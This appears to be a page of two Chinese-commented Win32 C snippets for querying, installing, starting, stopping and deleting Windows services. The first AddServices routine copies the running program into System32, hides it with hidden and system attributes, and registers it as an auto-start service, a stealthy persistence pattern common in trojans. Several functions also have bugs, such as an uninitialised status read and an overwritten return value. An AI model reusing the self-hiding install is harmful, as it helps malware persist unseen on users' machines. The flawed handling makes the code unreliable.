第一个代码
#include "Winsvc.h" //BOOL DisplayServices(); //查看服务 //void AddServices(); //添加服务 //void DelServices(); //删除服务 //void StopServices(); //停止服务 //void StartServices(); //启动服务 BOOL DisplayServices(char *m_ServiceName) //查看服务 { char RgsKey[MAX_PATH]; HKEY hNewKey=NULL; strcpy(RgsKey,"SYSTEM\\CurrentControlSet\\Services\\"); //系统服务位置 strcat(RgsKey,m_ServiceName); //合并字符串 if(RegOpenKey(HKEY_LOCAL_MACHINE,RgsKey, &hNewKey)==ERROR_SUCCESS) return TRUE;// MessageBox("已经存在\n"); else return FALSE;// MessageBox("没有存在\n"); RegCloseKey(hNewKey); //关闭注册表句柄 } void AddServices(char *m_ServiceName, char *m_DisplayName, char *m_Description) //添加服务 { //AddServices("服务名" ,"服务描述", "服务描述"); char FilePath[MAX_PATH]; char SystemPath[MAX_PATH]; GetModuleFileName(NULL,FilePath,MAX_PATH); //GetModuleFileName取得应用所在路径 GetSystemDirectory(SystemPath,MAX_PATH); //取得System目录完整路径名 if (strncmp(SystemPath,FilePath,strlen(SystemPath)) != 0) { char FileTitle[80]; GetFileTitle(FilePath,FileTitle,80); if (strstr(FileTitle,".exe") == NULL && strstr(FileTitle,".EXE") == NULL) strcat(FileTitle,".exe"); strcat(SystemPath,"\\"); strcat(SystemPath,FileTitle); CopyFile(FilePath,SystemPath,FALSE); memset(FilePath,0,MAX_PATH); strcpy(FilePath,SystemPath); //strcpy复制字符串 } SetFileAttributes (FilePath,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM); //设置文件属性 SC_HANDLE manager=NULL; SC_HANDLE service=NULL; char Desc[MAX_PATH]; HKEY key=NULL; manager = OpenSCManager(0, 0,SC_MANAGER_ALL_ACCESS); //SC_MANAGER_ALL_ACCESS 所有权限 service=CreateService( manager,m_ServiceName,m_DisplayName, //服务控制 SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, FilePath, 0, 0, 0, 0, 0 ); strcpy(Desc,"SYSTEM\\CurrentControlSet\\Services\\"); //系统服务位置 strcat(Desc,m_ServiceName); //合并字符串 RegOpenKey(HKEY_LOCAL_MACHINE,Desc,&key); //打开注册表项 RegSetValueEx(key,"Description",0,REG_SZ,(CONST BYTE*)m_Description,lstrlen(m_Description)); //添加服务描述 StartService(service,0,NULL); //启动服务 RegCloseKey(key); //关闭注册表句柄 CloseServiceHandle(service); CloseServiceHandle(manager); return; } void DelServices(char *ws_svcname) //删除服务 { //DelServices("删除的服务名"); SC_HANDLE scm ,service; SERVICE_STATUS status; scm=OpenSCManager(NULL,NULL,SC_MANAGER_CREATE_SERVICE); service=OpenService(scm, ws_svcname,SERVICE_ALL_ACCESS|DELETE); //OpenService打开现有服务 scm服务句柄 modify_data.ws_svcname服务名 SERVICE_ALL_ACCESS服务访问类型 DELETE删除 if ( status.dwCurrentState!=SERVICE_STOPPED ) { ControlService(service,SERVICE_CONTROL_STOP,&status); } DeleteService(service); //DeleteService删除服务 service取得服务 CloseServiceHandle(service ); CloseServiceHandle(scm); return; } void StopServices(char *ws_svcname) //停止服务 { //StopServices("要停止的服务名"); SC_HANDLE scm ,service; SERVICE_STATUS status; scm=OpenSCManager(NULL,NULL,SC_MANAGER_CREATE_SERVICE); service=OpenService(scm,ws_svcname,SERVICE_ALL_ACCESS|DELETE); BOOL isSuccess=QueryServiceStatus(service,&status); if ( status.dwCurrentState!=SERVICE_STOPPED ) { ControlService(service,SERVICE_CONTROL_STOP,&status); } return; } void StartServices(char *ws_svcname) //启动服务 { //StartServices("要启动服务名"); SC_HANDLE scm, service; SERVICE_STATUS status; scm=OpenSCManager(NULL,NULL,SC_MANAGER_CREATE_SERVICE); service=OpenService(scm,ws_svcname,SERVICE_ALL_ACCESS|DELETE); BOOL isSuccess=QueryServiceStatus(service,&status); if ( status.dwCurrentState==SERVICE_STOPPED ) { StartService(service,0,NULL); //启动服务 } return; }
第二个代码
#include "Winsvc.h" UINT NtServiceIsRunning(LPCTSTR ServiceName) //检测是否运行 { SC_HANDLE schService; SC_HANDLE schSCManager; DWORD RC; SERVICE_STATUS ssStatus; UINT return_value; schSCManager = OpenSCManager( NULL, // machine (NULL == local) NULL, // database (NULL == default) SC_MANAGER_ALL_ACCESS // access required ); if (!schSCManager) return -1; schService = OpenService(schSCManager, ServiceName, SERVICE_ALL_ACCESS); if (!schService) { RC = GetLastError(); CloseServiceHandle(schSCManager); if (RC == ERROR_SERVICE_DOES_NOT_EXIST) return -2; else return -1; } QueryServiceStatus(schService, &ssStatus); if(ssStatus.dwCurrentState == SERVICE_RUNNING) return_value = 1; else return_value = 0; CloseServiceHandle(schService); CloseServiceHandle(schSCManager); return return_value; } -------------------------------------------------------------------------------- UINT NtServiceStart( LPCTSTR ServiceName) //启动 { SC_HANDLE schService; SC_HANDLE schSCManager; DWORD RC; UINT return_value; schSCManager = OpenSCManager( NULL, // machine (NULL == local) NULL, // database (NULL == default) SC_MANAGER_ALL_ACCESS // access required ); if (!schSCManager) return -1; schService = OpenService(schSCManager, ServiceName, SERVICE_ALL_ACCESS); if (!schService) { RC = GetLastError(); CloseServiceHandle(schSCManager); if (RC == ERROR_SERVICE_DOES_NOT_EXIST) return -2; else return -1; } return_value = StartService(schService, 0, NULL) ? 1 : -1; RC = GetLastError(); CloseServiceHandle(schService); CloseServiceHandle(schSCManager); return return_value; } -------------------------------------------------------------------------------- UINT NtServiceStop(LPCTSTR ServiceName,ULONG TimeoutSeconds) //停止 { SC_HANDLE schService; SC_HANDLE schSCManager; DWORD RC; UINT return_value; SERVICE_STATUS SrvStatus; schSCManager = OpenSCManager( NULL, // machine (NULL == local) NULL, // database (NULL == default) SC_MANAGER_ALL_ACCESS // access required ); if (!schSCManager) return -1; schService = OpenService(schSCManager, ServiceName, SERVICE_ALL_ACCESS); if (!schService) { RC = GetLastError(); CloseServiceHandle(schSCManager); if (RC == ERROR_SERVICE_DOES_NOT_EXIST) return -2; else return -1; } return_value = ControlService(schService, SERVICE_CONTROL_STOP, &SrvStatus) ? 1 : -1; if(return_value) { while(QueryServiceStatus(schService, &SrvStatus)) { if ( SrvStatus.dwCurrentState == SERVICE_STOP_PENDING ) { if(!TimeoutSeconds) break; if(TimeoutSeconds != -1) TimeoutSeconds--; Sleep( 1000 ); } else { break; } } if(SrvStatus.dwCurrentState == SERVICE_STOPPED) { return_value = 1; } else { return_value = -1; } } else { return_value = -2; } RC = GetLastError(); CloseServiceHandle(schService); CloseServiceHandle(schSCManager); return return_value; } -------------------------------------------------------------------------------- UINT NtServiceInstall(LPCTSTR ServiceName,PCHAR PathToExecutable,BOOLEAN KernelDriver,ULONG StartType,PCHAR Dependencies) //安装 { SC_HANDLE schService; SC_HANDLE schSCManager; DWORD RC; UINT return_value = 0; CHAR path_name1[MAX_PATH]; CHAR path_name[MAX_PATH]; CHAR sys_path_name[MAX_PATH]; CHAR drv_path_name[MAX_PATH]; GetSystemDirectory(sys_path_name, MAX_PATH-40); if(KernelDriver) { _snprintf(path_name, MAX_PATH-1, "%s\\drivers\\%s.sys", sys_path_name, ServiceName); _snprintf(path_name1, MAX_PATH-1, "%s\\%s.sys", PathToExecutable, ServiceName); _snprintf(drv_path_name, MAX_PATH-1, "System32\\drivers\\%s.sys", ServiceName); } else { _snprintf(path_name, MAX_PATH-1, "%s\\%s.exe", sys_path_name, ServiceName); _snprintf(path_name1, MAX_PATH-1, "%s\\%s.exe", PathToExecutable, ServiceName); _snprintf(drv_path_name, MAX_PATH-1, "System32\\%s.exe", ServiceName); } return_value = CopyFile(path_name1, path_name, 0); if(!return_value) { return_value = GetLastError(); printf("Can't copy %s to %s\nerror code %#x\n", path_name1, path_name, return_value); return -1; } schSCManager = OpenSCManager( NULL, // machine (NULL == local) NULL, // database (NULL == default) SC_MANAGER_ALL_ACCESS // access required ); if (!schSCManager) return -1; schService = CreateService(schSCManager, ServiceName, ServiceName, SERVICE_ALL_ACCESS, KernelDriver ? SERVICE_KERNEL_DRIVER : SERVICE_WIN32_OWN_PROCESS, StartType, SERVICE_ERROR_IGNORE, drv_path_name, NULL, NULL, Dependencies, NULL, NULL); if (!schService) { RC = GetLastError(); CloseServiceHandle(schSCManager); if (RC == ERROR_SERVICE_DOES_NOT_EXIST) return -2; else return -1; } else { return_value = 1; } // return_value = StartService(schService, 0, NULL) ? 1 : -1; RC = GetLastError(); CloseServiceHandle(schService); CloseServiceHandle(schSCManager); return return_value; } -------------------------------------------------------------------------------- UINT NtServiceRemove(LPCTSTR ServiceName ) //卸载 { SC_HANDLE schService; SC_HANDLE schSCManager; DWORD RC; UINT return_value; // SERVICE_STATUS SrvStatus; /* It is unsafe to do this: return_value = NtServiceStop(ServiceName); if(return_value != 1) { return return_value; } */ schSCManager = OpenSCManager( NULL, // machine (NULL == local) NULL, // database (NULL == default) SC_MANAGER_ALL_ACCESS // access required ); if (!schSCManager) return -1; schService = OpenService(schSCManager, ServiceName, SERVICE_ALL_ACCESS); if (!schService) { RC = GetLastError(); CloseServiceHandle(schSCManager); if (RC == ERROR_SERVICE_DOES_NOT_EXIST) return -2; else return -1; } return_value = DeleteService(schService) ? 1 : -1; RC = GetLastError(); CloseServiceHandle(schService); CloseServiceHandle(schSCManager); return return_value; } -------------------------------------------------------------------------------- UINT NtServiceSetStartMode( LPCTSTR ServiceName, ULONG StartMode) //改变启动模式 { SC_HANDLE schService; SC_HANDLE schSCManager; DWORD RC; UINT return_value; schSCManager = OpenSCManager( NULL, // machine (NULL == local) NULL, // database (NULL == default) SC_MANAGER_ALL_ACCESS // access required ); if (!schSCManager) return -1; schService = OpenService(schSCManager, ServiceName, SERVICE_ALL_ACCESS); if (!schService) { RC = GetLastError(); CloseServiceHandle(schSCManager); if (RC == ERROR_SERVICE_DOES_NOT_EXIST) return -2; else return -1; } return_value = ChangeServiceConfig(schService, SERVICE_NO_CHANGE, StartMode, SERVICE_NO_CHANGE, NULL, NULL, NULL /*tag*/, NULL, NULL, NULL /*pwd*/, NULL); return_value = 0; RC = GetLastError(); CloseServiceHandle(schService); CloseServiceHandle(schSCManager); return return_value; }